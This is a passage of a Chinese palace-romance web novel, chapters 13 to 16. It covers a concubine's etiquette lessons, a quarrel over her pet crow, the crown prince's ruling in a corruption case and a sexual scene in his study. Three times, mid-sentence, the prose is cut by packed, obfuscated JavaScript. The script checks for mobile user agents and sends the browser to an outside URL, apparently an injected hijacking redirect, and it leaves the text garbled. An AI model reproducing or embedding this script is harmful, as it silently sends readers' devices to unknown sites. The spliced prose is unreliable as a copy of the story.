她眯眼看着身影愈发眼熟,不由趴在地上伸出手去,破碎的声音从嗓子眼里挤出来:“兰。。兰哥哥。” 听闻她的声音,那人转过头来。 便是黑暗里,她也一眼就瞧见了他眼下小小的红痣。 可她拼命眯起眼睛,拨开面前的雾色,却瞧不清他的面目。 突然一阵火光冲天而起。 他的眉眼在光影里清晰可辨,嘴角发出骇人的冷笑。 却是太子李岏。 宋轻风一惊,从床上惊跳而去,胸腔剧烈起伏,大口呼吸了几口,才驱散了梦境。 这才发现天光大亮,居然都从门缝里透进来了。 她抱了抱脑袋,心里不愿承认,但是太子果然太过冷酷,才叫她做了这般奇怪的梦。 正自辗转,却听屋外传来朦胧人声。 却是乌梅在外面和又绿咬舌根:“我说怎么娘子昨夜回来眉开眼笑,却耐住性子只字未提,若不是一早碰到小顺子,哪里知道姑娘昨夜居然承了宠!” “这宋娘子瞧着有些傻,实在是有些城府,我一早赶紧去告诉了小高公公,可哪也不去了就在这呆着,指不定以后我们跟着水涨船高,只可惜我刚花出去的白花花的二两白银,他怎么着也不还我!” 又绿细声叹道:“未必,太子妃娘娘快要来了,到时是个什么造化,谁说得准呢。” 却听啪的一声,显然是乌梅拍断了大腿根:“哎呀!你怎么不早说!我把这茬事给忘了!!太子妃说来就是那两家没跑了,听闻那两位大小姐个比个的眼高于顶,哪个是好惹的!不行,我还得去寻小高公公,让他可给我留意着。” 显然乌梅急匆匆地走了,又绿留在檐下,却与嘎嘎在嬉戏。 抱着被子迷糊了一会,却听咔得一声,不由吓了一跳。 却是又绿推门进来了。 见她裹着被子坐着,一时放下食盒道:“姑娘终于睡醒了?正巧洗洗吃午膳。” 宋轻风摸着肚子道:“午膳?怎么白白少吃了顿早膳啊。好饿啊肚子都饿扁了,你们怎么不叫我起来吃饭?” 又绿噗嗤笑道:“姑娘昨夜三更天才回来,睡得混死,天亮了我们叫了你几回,你睁着血红眼睛,那模样恨不得吃了我们,哪敢再叫?” 宋轻风懒得下床,就在床上随意洗簌了一下,啃了口馒头夹肉,嘴里居然没滋味。 又一头栽倒下去。 昨夜一役,实在是伤筋动骨,腰酸腿软。 睡了一觉,更是浑身懒得散架子一般。 可惜她一睡下就开始胡思乱想,索性起来,裹着被子坐屋檐下发呆,听远处铁马叮叮当当。 雨已经停了,被雨冲刷过后的宫墙格外鲜亮。 院子里嘎嘎正扑腾着翅膀,伤还没好全,只能贴着地乱飞。 不时击起一片水花。 两人正看得起劲,乌梅回来了,又恢复了满脸的黑气,站在门口喊她去西侧院里的厢房。 问是何事,乌梅嘴上不说,却满眼的欲言又止,显然憋得慌,眼睛里透出害怕。 这么怪异的神情,宋轻风心知不是什么好事,满腹狐疑地来到西侧院里。 甫一跨进院子,便瞧见一个穿着深绿色石染宫装裙的嬷嬷站在院中的石子道上,她的身后放着一把椅子。 椅子上放着一根三寸粗的戒尺。 宋轻风瞧见这嬷嬷浑身打理的一丝不苟,脸却如石头一般又黑又冷,瞧向她的目光就像是秋天的霜一般煞人,不由心中一突。 她端了笑脸,主动上前问好道:“这位嬷嬷好啊。” 云嬷嬷面皮白净细腻,保养得宜,只一双眼睛白多黑少,眼皮耷拉着,便是不开口已是瞧着令人发怵。 瞧见宋轻风问好,她的眉头皱成一团,却未发言。 见她模样,宋轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885589|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风主动自我介绍:“我是宋轻风,听说你找我?” 云嬷嬷听闻,自己当先福下身子,端端正正地行礼道:“奴婢锦德宫云氏,见过宋娘子。” 而后却又掀开衣摆,面东而跪道:“奴婢奉太子殿下之命,前来东宫,定不敢辱太子殿下所命。” 宋轻风见她对着空气一本正经地振振有词,好奇地站在旁边看热闹。 哪知这热闹方起身,就皱着眉头向自己道:“娘子方才是如何自称的?” 自称?宋轻风道:“我。。我是宋轻风。” 云嬷嬷本就冷黑的脸愈发黑沉下来,翻着白眼自言自语道:“果然是半点规矩也没有。皇城司那些东西,如今是越发不干正事,一点规矩不教就敢往东宫送。” 宋轻风算是有些明白了,不确定地道:“您,您是来教我规矩的吗?” “正是。” 云嬷嬷扬着头道,若说宫中的宫女们的噩梦,便是她们这些教引嬷嬷,哪个在她手下没有脱层皮? 云嬷嬷皱眉扫视宋轻风的眼神,就像在看一件劣质的泥塑木雕,恨不能立刻敲碎了重新塑一个金身。 今日受太子殿下之命前来调教此人,自更要加倍用心。 不叫她脱胎换骨,是万万不能的。 宋轻风跨上前来,忍不住喜笑颜开:“真的吗?太好了,我正是一筹莫展之际,不知该问谁,如今居然有您来了。” 云嬷嬷不想她还能笑得出来。 还未反应,宋轻风已抓住她的手道:“说来您可能不信,进京这些日子我实在苦恼,却寻不到人来请教。” “我们先学行礼好不好?我听闻这行礼还有许多讲究,什么跪拜礼,蹲安礼,万福礼,她们只知说我礼仪不端,却没人告诉我这些到底该如何用,还有,学完行礼,您能再教教我如何打扮,我瞧着春风又绿二人,打扮得实在是好看。还有,要怎么伺候殿下,如何能得宠,如何能在这宫里横着走?这些我全不会,您能教我吗?” 宋轻风感觉自己似乎寻到了主心骨一般。 她入京半年多,对着京中的规矩所知甚少。宁安侯夫人口中说着要好好教导她,实则除了罚站,便是不让吃饭,所言所行,大多是旁观侧学,邯郸学步。 她既入京来了,来到这京师繁华地,只想泯然于众人,并不想成为异类。 尤其不能吸引别人的过多关注。 此番进了东宫为妾,叫她如今成了这京师里头的名人,实在只是个意外。 好在她在东宫多日,也无人能进来打扰。 云嬷嬷教导女眷这么多年,第一次遇到如此积极好学的人,一时有些不适应。 秋日阳光热烈,她一把年纪,很快就热的一身的汗。 但是顾着礼仪,还得端着。实在腰酸体软准备坐下来休息片刻的时候,宋轻风却不放过她,抓着她要指正自己礼仪上的不足。 她的态度实在太过端正,说什么也是老实地应着,没有半点反抗,反反复复地练习,叫云嬷嬷准备的惩戒手段竟一时没了用武之地。 宋轻风不算个笨学生,甚至讲了一遍便记住了。 只是记住归记住,这身体协调和仪态上面,总有些差强人意。 自小养出来的仪态,又哪里是后天轻易能学出来的。 太阳落山,暮色四合,云嬷嬷累得一句话也说不出口,面前的女子却依旧精神抖擞,满脸红光,认真地问她学的对吗? 直到远处传来一阵车马声,太子殿下銮驾回来了! 云嬷嬷如蒙大赦,长叹口气。 临行前宋轻风抓住她反复叮嘱道:“嬷嬷明日一定早些来,趁太阳还没起来的时候,我们还能多练上两回。” 云嬷嬷脚步险些踉跄,心头第一回生了丝不好的感觉。 14. 第 14 章 这日傍晚时候,云嬷嬷言宫中有宴,天还没黑就摆脱了宋轻风的纠缠走了。 宋轻风独自回破云院路上,却听墙对面传来嘈杂人声,隔得有些远听不清楚。 这可稀奇。 这东宫里头整日里安静地能听见蚂蚁爬的声音,何人在此喧哗? 有热闹可瞧,宋轻风一个箭步冲出去,很快找到了嘈杂人声的来源处。 在那路上,站着几个穿着艳丽的女子,其中一个穿着粉色牡丹花裙袄的姑娘,满头珠翠,容颜太过艳丽,往那一站所有的目光就全都被她吸引了去。 而她们面前的地上,一只乌黑黑的鸟正慌乱地四处乱飞,胡乱扑腾着。 发出嘎嘎地凄厉叫声。 它的身后,几个内侍撸着袖子,正满地抓它。 那鸟不是嘎嘎又是谁? 看这场景,不难猜到嘎嘎定是闯了什么祸。 不想瞧热闹瞧到了自己头上。 宋轻风有些后悔,转脚就准备撤退,哪知嘎嘎眼尖,一眼发现了她,扑腾着翅膀就朝她飞过来。 一把飞落在了她的肩头上不动了,而后缩着脑袋,贼眉鼠眼地打量众人,那模样分明是狗寻到了主人,开始狗仗人势起来。 一瞬间齐刷刷好几双眼睛也跟了过来。 宋轻风转了向的脚只好生硬地转回来。 对着走到面前的一群人挤出笑容来道:“几位姐姐妹妹,傍晚好啊。” 那几个女子瞬间将她从上自下扫了个遍,见她生得格外干净剔透,目中生了敌意。 其中一细长脸的婢女下颌抬的很高,眼神轻蔑地问道:“你是谁?” 这京中有头有脸的官家小姐,她全认得。 宋轻风转了转眼睛道:“我是张家的表二小姐,也是来参加宫宴的,你们这是在做什么?” “张家的表二小姐?” 一听就是什么分支偏房,仗着有几分姿色,估计也想学宋家那个狐媚私生女,借着宫宴的机会攀个高枝。 那容颜艳丽的女子估计也想到了此点,目中陡现厌恶与鄙夷。 只是她并不开口,还是那细长脸的婢女代替她道:“又是哪个旮旯儿里跑出来的私生女吧?端不上台面的东西,怕心里以为自己会成为第二个宋氏狐狸精呢?” 宋轻风抿了抿唇,不巧,她是第一个宋氏…额,狐狸精? “这扁毛畜生是你养的?”那婢女眼中的不屑更添了几分。 宋轻风连连摆手否认,用劲想要让嘎嘎从肩头上下来,哪知嘎嘎抓得牢的很,扯了几下都纹丝不动,还用脑袋蹭着她的手。 再否认就有些假了,宋轻风只好无辜地道:“好吧,它闯了什么祸?” 那细长脸道:“养乌鸦当宠物,果然不是什么好东西。方才这黑东西冲撞过来,惊吓到了我家小姐!” 看眼神,原来那容颜艳丽的女子就是被惊吓的小姐。 宋轻风诚挚地摆出关心的脸来道:“这位小姐可有受伤?” 小姐自然是没受伤,只是受了惊。 “实在不好意思,它还小不懂事,我替它向你道歉。” 细长脸道:“道歉,这就完了?” “额,那要如何?” 细长脸道:“一只畜生敢冲撞我家小姐,自然是要打死。” 她方说完,一旁另一位打扮精致的小姐愤恨道:“一个畜生懂什么,畜生犯错自然都是主人的指使,你用心如此险恶,是何居心?” 她真没什么居心,好心解释道:“我还没来得及认识各位姐姐,哪里能提前想好,让小乌鸦在此设伏呢。” 细长脸冷哼一声道:“不管如何,还不向我家小姐磕头赔礼?” 几位小姐们都盯着她,显然等着她磕头赔礼。 不想这几人这么霸道,宋轻风避让道:“既说它吓到了人,我罚它一顿饿就是了,小姐受了惊,要不我去找个大夫给您瞧瞧?” 她自以为态度诚恳,哪知在旁人耳中却是挑衅! 这是宫里,里头的大夫都是御医,以为自己想找大夫就能找? 宋轻风见几人明显愈加不满,分明是要找事,她心念一转,脚底当即抹了油。 几人不想她居然逃了,还跑得飞快,眨眼就只看见绿色发带在风中飞,一时目瞪口呆。 那婢女气得七窍生烟,跟在后头叫道:“混账,你可知我家小姐是谁?我家小姐。。唉呀!” 还未说完,哪知嘴上吃了一痛,一粒小石子不知从哪里打了过来。 她捂着嘴,才发现居然破了皮! 宋轻风百忙之中扔了颗石头,可不能叫她说出这位小姐的身份来。 万一是个公主郡主贵人什么的,就她如今这么低微的身份,保不齐真要向她们下跪磕头。 那面子就丢大了。 婢女急得跺脚,一旁的小姐嗤笑一声道:“我倒要瞧瞧,她能跑到哪里去。” 却听旁边内侍小心翼翼地道:“祝小姐,奴婢瞧着,这姑娘似乎往…往破云院方向去了。” 破云院? 她常来东宫,怎么没听闻东宫有个破云院? 内侍埋着头,带着小心道:“前些日子,太子殿下新纳的宋家娘子,就住在破云院。” 他的声音极小,却如惊雷响在众人耳边。 这宋氏女入京不过半年多,平日里蝼蚁一般无人在意,那夜宫宴,黑黢黢的谁也没瞧清长什么样。 难怪方才口气这般大! 原来是她! 一个靠着卑劣无耻的手段,攀上太子殿下的人,如今也敢正大光明在宫里走动了。 想之前她是如何卑劣身份! 破云院,破云院? 这是想要破云直出,更上一层楼? 祝长灵看着她消失的方向,细长的指甲刺破了掌心。 。 文渊阁内,李岏翻开手中的折子。 不过一目十行扫了一眼便放了下来,指尖不经意地抚过腰带,沉声问道:“这几位都是斩首弃市,为何独独周和光却是发配一千里?” 底下站着的刑部尚书高善讪讪地道:“周大人这些年为朝廷效力,劳苦功高,臣觉着,觉着他是一时昏了头,可将功抵过,从轻发落。” 李岏直截了当地问道:“这是陛下的意思?” 不想他这么直接,高善额上冷汗如瀑而下,连连躬身道:“并非…并非陛下的意思,陛下让臣等秉公执法,切不可徇私。” 呵,他倒是要脸的,没有明说。 但底下的人,谁不是揣度圣意的好手? 周和光本事不大,但对陛下忠心耿耿,凭着这条便一路做到户部尚书。 成了朝廷的左膀右臂,坚硬的一根柱石。 李岏道:“既秉公执法,周和光这些年所做之事,皆在案上,取国库之物,如私府之物一般自由,更是圈地贪污,欺男霸女。此次安西四镇地动,千万灾民流离失所,急等着朝廷救助,镇北军半数都扑在了救人上面,却连口果腹的饭都吃不上。钱却被他偷偷拿去挪作他用!” 李岏攒紧手中文书。 那日在大理寺,周和光被打了半死,在见到他出示的一份文书后,终于屈服。 然而他并非屈服于自己,为得却是他出示的那份文书上,寥寥几笔,简单地列着几座新建的皇家别院。 至于这修建别院是谁的命令,哪里来的钱… 周和光倒却是忠心,立刻主动接下这样的脏水,他知道一旦这样的文书昭告天下,陛下必要受其牵连。 而今他将罪过都揽到自己身上,别人便是有疑,却也不敢往陛下身上打量。 “这样的大罪,依你们的意思,就只是发配一千里?” 底下几人低着头,讷讷的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885590|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢吱声。 周和光掌户部,乃是陛下的钱袋子,陛下最忠诚的狗,没有陛下发话,谁也不敢动。 李岏道:“曹卿,你熟读律法,可知一般人若是犯了这样的罪,要如何处置?” 大理寺卿曹宏徒涨红着脸,低头道:“斩首弃市,夷三族。”说完忙补充道,“但视其功过,或可恩自上出。” 李岏垂下眼睑,修长的手指自光滑的桌边划过,似是一柄利刃,无声出鞘。 而后抬头道:“孤既主理灾款贪污一事,此事自然由孤说了算。既然说恩自上出,孤也念在周家曾救陛下于危难,不必夷其三族,周和光,弃市,其余三族流放。” 说着朱笔一挥,落了款。 屋内安静地落针可闻。 户部尚书是朝廷的钱袋,更是陛下的钱袋,如今周和光下台,陛下那里,难保不会觉得此事是太子殿下故意为之,想要借此事拿下户部。 想到此,众人心中一凉,风雨欲来,反倒异常安静。 兵部尚书兼詹事府詹事赵丰盈出列,方欲相劝,却见李岏已起身道:“陛下那里,孤自会去请罪。” “诸位有时间,不妨商讨一番灾民安置的问题,听闻已有灾民往京师来了。” 底下人道:“太子殿下,臣令沿路设救灾点,确保灾民能够就地安置。” 李岏道:“区区一个周和光,不值得浪费时间,如今已入秋,钦天监言今岁大寒之年,不光要安抚受灾之民,灾后常伴时疫,还要预防着疫情起来,同时还要预防着北地雪灾,各位有时间,多花些时间在这些事上头吧,孤要尽快看到你们的预案。” 说完自顾拂袖去了。 他出了门,便命仪驾往勤政殿去。 行到路上,却见远处一群世家女子与那宋氏正在路边,不必去问,也知并不愉快。 原以为宋氏要吃亏,哪知她竟转脚一溜烟跑了飞快。 跑到转角处,还不忘回头扒在墙角处偷偷张望了一眼,浅绿色的裙摆飞扬,身后的绿色发带飘着。 整个人就如一阵轻风,轻盈透亮,随风而飘。 看着那飘扬的绿色发带,李岏却一愣,想起不久前自己也曾捡起过一根这样的发带。 那时便只觉得眼熟,却想不起来在哪见过,后来便给忘了。 而今却在她的头上看到了一样的发带,原来竟是她的? 这几日她来侍寝,都是挽的高髻,并没有用发带。 他忍不住想再瞧了一眼,哪知宋氏竟已跑得没影了。 李岏不及多想,车驾却已到了勤政殿前。 丁德庸瞧见他来,下阶来迎。 却小心翼翼与他道:“太子殿下稍候,陛下正有要事。” 李岏不置可否,站在殿门口,直站到日落西山,薄雾升起。 殿内却全无要召他进去的意思。 挂宫灯的宫人埋着头战战兢兢从他旁边过,颤巍巍地爬上檐头点灯,点了几回方才点着。 灯火在黑夜里晃晃悠悠,丁德庸又从殿内出来,瞧见阶下人长身而立,面如白雪,一身大红锦袍在夜色里纹丝不动。 太子被晾在殿外站了这半日,实在是大失颜面,瞧这形容,当真让人心惊。 他硬着头皮趋步上前,不好意思地道:“太子殿下,陛下方忙完,又要忙着做晚课,您。。” 李岏却道:“既然陛下如此繁忙,臣也不便打扰,明日再来拜见。” 丁德庸拦也不是不拦也不是,愁得一张脸苦瓜一般。 只能眼睁睁看着太子的车驾远去。 不知殿内此刻又会是何反应,他一时不敢进殿。唉,这日子是愈发艰难了。 原以为太子殿下宠幸了那宋氏女,便是有心对陛下服软。 哪知又冒出这样的事。 丁德庸苦着脸念叨:“真是神仙打架,咱们这些小鬼遭殃。” 15. 第 15 章 原以为沏茶就是抓把茶叶,用热水泡了。 哪知云嬷嬷讲了一上午,居然还在讲解这泡茶的茶具都有哪些,有些什么讲究,泡什么样的茶该用什么样的茶具,直听的宋轻风瞠目结舌。 云嬷嬷强调道:“在殿下身边伺候,茶水饮食,乃是重中之重,尤其要将主子的癖好和忌讳牢记于心,万不可在此事上头出错。” 宋轻风想起太子,他这样冷情冷性的,看起来就不好伺候。 不知都有些什么特殊癖好和忌讳。 云嬷嬷瞧见宋轻风又是一副神游天外的表情,不由大叹这贼老天实在不公。 这几日接触下来,她发现这女子学的固然认真,可总是喜欢发呆晃神。 她原以为终于找着机会可以好好教训上一番,可每次考查,这宋氏却又全都能答出来,甚至与自己教的丝毫不差。 实在是天道不公啊!当年自己学的时候,吃了多少苦,受了多少罪。 而她却能一边发呆一边就学了,叫人怎么不心中恨得牙痒。 云嬷嬷重回了话题上来,表面装作波澜不兴的样子:“便说这茶叶,宫中林林种种的茶叶有上百种,而同一种茶叶却又能沏出不同的味道,每个主子都有不同的饮茶癖好。而太子殿下,却尤爱这道凤凰双丛茶。” 宋轻风仔细打量了一番,这茶叶似乎没瞧出什么区别来,若不是上头写着字,谁认识谁是谁呢。 “泡这凤凰双丛,切记沏茶前要先洗净了手,取下全身的配饰和香料,而后不得用手,必须用这竹勺取出大小十二片茶叶,这样,先用滚水极快地烫上两遭,泡茶也必要用白玉瓷,茶温要控制在端到案前的时候刚好能入口。。。” 在她的一番操作下,果然闻见一缕若有若无的茶香飘来。 “哇!云嬷嬷您好生厉害!不光礼仪在行,泡茶也是大家,随意这么一捣鼓,就香气四溢,令人口水大流,这宫里只怕再难找到您这般厉害的了,难怪太子殿下格外器重您呢。” 云嬷嬷习惯了她的拍马屁,面上装着不为所动,心中却得意万分。 若说有人说不爱被拍马屁,那她一定没被人拍过。 宋轻风想到兰哥哥并不爱喝茶叶,他说喝这玩意苦唧唧的又费银子还不上头有什么意思,有机会不如多喝点酒。 酒才是好东西。 她深以为然。 她以前没尝过茶,今日有机会尝了几口,除了苦涩,实在没尝出什么其他的味道来。 说白了就是有钱人的瞎讲究。 云嬷嬷讲完了沏茶时的注意点,而后严肃地道:“除了茶叶,太子殿下一饮一食上头还有其他讲究,你且好生记牢了。” 宋轻风端正了身体,瞪着极为好奇的眼睛。 云嬷嬷接着道:“比如说这。。” 还未说完,却听门口有宫人唤道:“云嬷嬷。” 云嬷嬷抬头,瞧见一太监低眉顺眼地站在门口。 那太监躬身行了一礼,而后道:“云嬷嬷,全福公公有事要请您速速前去一趟。” 全福乃是太子殿下跟前的人,此刻来寻自己只怕有什么要事。 云嬷嬷犹豫道:“我为宋娘子的教学还未教完,不若稍等片刻?” 那太监面露急色道:“全福公公很是焦急,不知可有奴婢能代劳的?” 云嬷嬷站起身来,想了想道:“也罢,说来守成公公在这东宫里头伺候殿下已近十年,对太子殿下的喜好和忌讳极为熟悉,不若劳烦公公给宋娘子说道一番?” 守成笑着低头道:“自然,能为宋娘子效劳,是奴婢的荣幸。” 云嬷嬷点了点头道:“既如此我也放心了,待会便直接回宫去了。” 她走了,留下两人面面相觑了好一会。 宋轻风瞧他确实面熟,乃是太子跟前常见的人。 守成告罪,自寻了案边坐了,拿起案上云嬷嬷沏的茶闻了一下便放下了:“这凤凰双丛千金难换,每年仅有的全在宫里,太子殿下每日喝的,便是此茶。” 宋轻风道:“每日都喝?他真这么喜欢吗?” 守成有些诧异地看了一眼,宋轻风果然睁着那双澄澈的眼睛一眨不眨地看着他。 喜欢?这样贵的茶,谁会不喜欢呢! 守成放下茶盏来,先是看了看外头,确认没有人,而后才凑近了宋轻风道,“娘子这话算是问到了重点。奴婢不若与您直言,我观宋娘子极得殿下欢心,只盼着娘子今后能记得奴婢一二,那奴婢就感激不尽了。” 宋轻风将茶一饮而尽,咂了咂嘴巴道:“公公有话不妨直言。” 守成道:“您大概知道,每次主子们用膳时,每一种菜最多只能吃上三口的规矩?” 这个确实知道,戏文里也是这般写的。 “您当是为何?在这宫里,不管是殿下还是陛下,没人愿意叫别人看透,更不喜欢叫人知道了自己的喜恶。所以平日里便是不喜欢的东西也会吃上一口,喜欢的东西也只会吃上一口。殿下想叫人知道他喜欢这茶,别人自然就知道他喜欢这茶。” “说句僭越的话,深宫险恶,您若是发现了殿下真正的喜好,只怕未必能再留下您。” “深宫里头,千万记住不要去打听主上的喜恶。” 没想到一个喜好就有这么多弯弯绕绕。 不像兰哥哥,他的喜好,不需问,她全都知晓。 她知道兰哥哥喜欢吃辣,喜欢喝酒,喜欢吃粘粘乎乎的糕点。 她忍不住好奇问道:“果然守成公公是伺候殿下的老人,可还有其他的讲究?” 守则端正了身子,道:“自然是什么都不要打听,主子叫做什么就做什么。” 宋轻风后知后觉地捂住嘴巴。 这一点她之前似乎做的不好。 守成又将这宫内要如何小心谨慎讲了一通。 宋轻风连连点头,直夸难怪他能在方华殿呆这么久。 守成受了夸,一时得意洋洋。 过了一会,守成忙道:“奴婢还有事要去趟内造司。。” 宋轻风忙道:“您快去吧,已经劳烦您很久了。” 守成走了,宋轻风扫了一眼桌案,觉得太过浪费,一股脑将泡好的茶全都喝了底朝天,一时嘴巴里苦唧唧。 又扫了几块糕点入腹,才好一些。 她摸了摸有些浑圆的肚子,剩下的糕点实在是塞不下去,便兴匆匆拧回了破云院。 乌梅见她回来,一边分给自己糕点,一边吃着一边恨铁不成钢地道:“您可不能光惦记着咱们吃,怎么也要多去太子殿下跟前去献献殷勤。” 宋轻风一想也是这么回事,当即装了剩下的点心又往方华殿去。 果然太子殿下还没回来,全福公公又在指挥小太监们干活。 他瞧见宋轻风来,脸色一白。 讪讪地道:“姑娘怎么今日过来了?哦。。是给太子殿下送点心来了。” 宋轻风随手把食盒塞给顺意,歪头笑咪咪地扯着他的袖子道:“我左右无事,多跟公公学学,才好讨殿下的欢心。” 全福又领了这跟屁虫,也不好打发,只好偷偷将袖子扯出来道:“说来你也不必如此,我们太子殿下性情随和,待人和善,可是顶顶通情理之人。。。” 他说起来滔滔不绝,竟自停不下来。 那样的人还好意思说性情随和,待人和善? 也就全福眼里出好人了。 。 日子充实,时间也过得飞快,掐指一算,在这东宫居然一月有余。 这几天她未与太子说上过一句话,她常来,他也不撵她。 但是却一个眼神都未施舍过,总是埋首在桌案后头,半天也说不了一个字。 而且面色总是冷的,少有笑意。 宋轻风忍不住惋惜。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885591|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她知道这张脸笑起来有多好看。 兰哥哥素来爱笑,即便是在两人饥肠辘辘,大雨淋头的时候,他也可以一边哼着曲子,一边笑着喝酒。 他的笑,比之深秋的红枫,也毫不逊色,如火一般热烈。 自他去后,这世间,再也没有这样的笑颜。 宋轻风又悄悄抬眼打量了上首一眼,看到对方低垂的眉眼,在烛火下白得发光的面容,衬托的他愈发眉目俊朗。 烛火下精致的面容便平顺下来,少了许多平日里的冷意和凌厉,安静的变回一个少年人。 和记忆里的人,渐渐相似。 李岏落下最后一笔,从桌案上抬起头来,便撞见了那个黑得发亮的眼眸,鬼鬼祟祟地低了下去。 他今日一整天都奔波在外,极是疲累,心中却有一团火,极欲宣泄。 他便伸手招她。 宋轻风不受控制地走上前去。 他身上大红的蟒袍未换,质地很滑,很凉,上头繁复的金线纹绣,磨在娇嫩的肌肤上头,反而是柔软细腻的。 宋轻风感到衣裳堆叠在腰际,不敢低头去瞧自己,只是盯着他胸襟前的金蟒,如欲噬人,张扬欲出。 所以方才他的安静和疲倦都是装的吧。 使起力来,分明是牛一般使不完,要将她颠来倒去,叫她只余一点力气紧紧抓住桌案的边角。 好在这金丝楠木桌脚是固定的,这样大的力气也没移动半分,只发出一点些微的声响,还算可以接受。 只是桌角是冷硬的,扣桌子扣得太用力,手指生痛。 宋轻风顾不得,看完了金蟒,抬头向上,看到他的精致下颌,微薄的汗便顺着脖颈下滑。一路往上,灯火下淡笼的眉形和细长的眼睑,长长的睫毛垂下来,在眼下投出一片阴影,眼下的小红痣格外的醒目一些。 李岏不经意瞧见身下的人眼眶微红,眼睛里映着烛火星星点点地看着他。 他忍住心中不适,停下动作,扫了眼满案的文书,放弃了将人翻转过去的念头。 宋轻风终于可以肆无忌惮地打量他,用自己的眼神慢慢勾勒他的眉眼轮廓,想象自己伸出了手,摸到了那粒小痣。 她心中翻涌,连带着整个身体一波未平一波又起,在阵阵战栗中彻底迷失。 而他却突然伸出手,拔下了她发髻上的簪子。 青丝如瀑,一瞬倾泻而下,散开在滚烫的肌肤上,竟如绸缎一般冰凉。 他的目光在她的发上扫了一眼,而后微不可查地皱了皱眉。 低下头,却见她红唇紧咬,黑眸若水,一时一股热流从心间窜起。 白玉一般的细颈上,喉结剧烈滚动,他闭了眼睛,浓长的睫毛蒲扇一般抖动着。 却听外头突然有人低声禀告:“太子殿下,暗探急信。” 陡闻人声,宋轻风脚方落地,衣裳也顺势滑下,一时浑身发软,双腿颤栗,失了所有力气,整个人就要滑倒在桌下。 李岏下意识大手一捞,力气太大,将她贴在了胸前。 两人四目相对。 他感到了手指上异常柔软的触感,和胸前火热的抵靠,鼻端是一股从未留心过的幽香。 宋轻风却迷失在他深不见底的狭长黑眸中,未反应过来,他已松了手。 她慌乱中忙捞起落在脚边的衣裳穿好。 李岏喉头滚了滚,转开了目光,开口:“进来。” 已恢复了端肃,哪有半分方才的模样?只是冷漠地对着她挥了挥手。 她可以走了。 未走几步,听到身后人道:“发带不错。” 而进殿跪在中间的高守一愣,却未有犹豫,立刻磕头道:“谢殿下夸赞。” 李岏一窒,好一会才道:“何事?” 行到门边的宋轻风停下了脚步,隐隐听到屋内传出的人声。 “太子殿下,是安西送来的密信。” 16. 第 16 章 宋轻风又一觉睡了个底朝天。 等爬起来吃饭的时候,外头居然下雨了。 嘎嘎不能在院子里飞,只能在屋子里头瞎扑腾,没一时就差点将灰扑进她的碗里。 宋轻风眼见着肉丝粥差点被毁,一把拧了嘎嘎的翅膀,扔进了院子里。 落汤乌鸦抖着毛,它头顶茸毛已褪,长出光洁的黑色羽毛,雨水不过甩甩就没了,此刻却做出可怜巴巴的模样,趴在地上看着几人。 乌梅听到动静跑出来,见小乌鸦模样止不住地心疼,却知道动了宋轻风的饭碗,那是求不了情了。 宋轻风虽然出身宁安侯府,但毫无侯府千金的做派不说,一粒米掉了都要可惜半天。 原来她们是瞧不惯的,可耐不住瞧得多了,也就习惯了。 跟着也格外注意节约起来。 宋轻风吃完饭,见又绿今日居然不伤春悲秋了,却坐在炕上翻箱子,翻一下忍不住笑出声来。 宋轻风被她笑得浑身发毛,仔细一看,才发现今日这两跟班都极开心的模样,让人鸡皮疙瘩都起了来。 一问才知,居然一大早方华殿就有人来送了赏赐。 这是破天荒的头一回。 虽然送的也不过就是从哪个库房旮旯里头翻出来的绸缎布匹,但代表的却是太子殿下的态度。 宋轻风跑过去把几匹缎子翻来看了看。 却见颜色有素淡有艳丽的,浅绿大红,上头绣的却全是不知名的小碎花。 宋轻风不识货,两个跟班却是识货的。 又绿道:“天这是宫里得宠的后妃们才用得起的料子,这两匹是云锦,要三十五两银子一匹呢,呀这是蜀锦绣,现在市价要二十二两,这是苏绣。。” 宋轻风瞠目结舌道:“光这么些缎子,居然就值二百三十两??” 果然这宫里随便旮旯里头翻出来的,都是上好的东西。 乌梅掐着手指头算了一会,发现果然不错,真是二百三十两,不由也瞠目心道,娘子以前该不是卖绸缎的。 宋轻风看了看自己身上的衣裳,有两件是自己从宁安侯府带来的,还有几件是全福派小太监送来的。 这些衣裳美则美矣,就是行动受限,而且不耐糙,随便动动就皱了。 她对吃的上心,对穿的倒是无可无不可了。 翻来翻去,从里头翻出一匹黑缎来道:“这颜色不错,和嘎嘎正好相配,帮我缝一件黑缎的披风。” 而后拿过几匹与两人道:“我瞧着这浅绿色配又绿,这梅红色配乌梅,这件红色瞧着喜庆,我们一人一件如何?” 两人喜得眉开眼笑。 看完了绸缎,又绿转了转心思,怂恿道:“太子殿下第一回送娘子礼物,娘子要不想个回礼?” “回礼?”她一穷二白,哪里来的回礼。 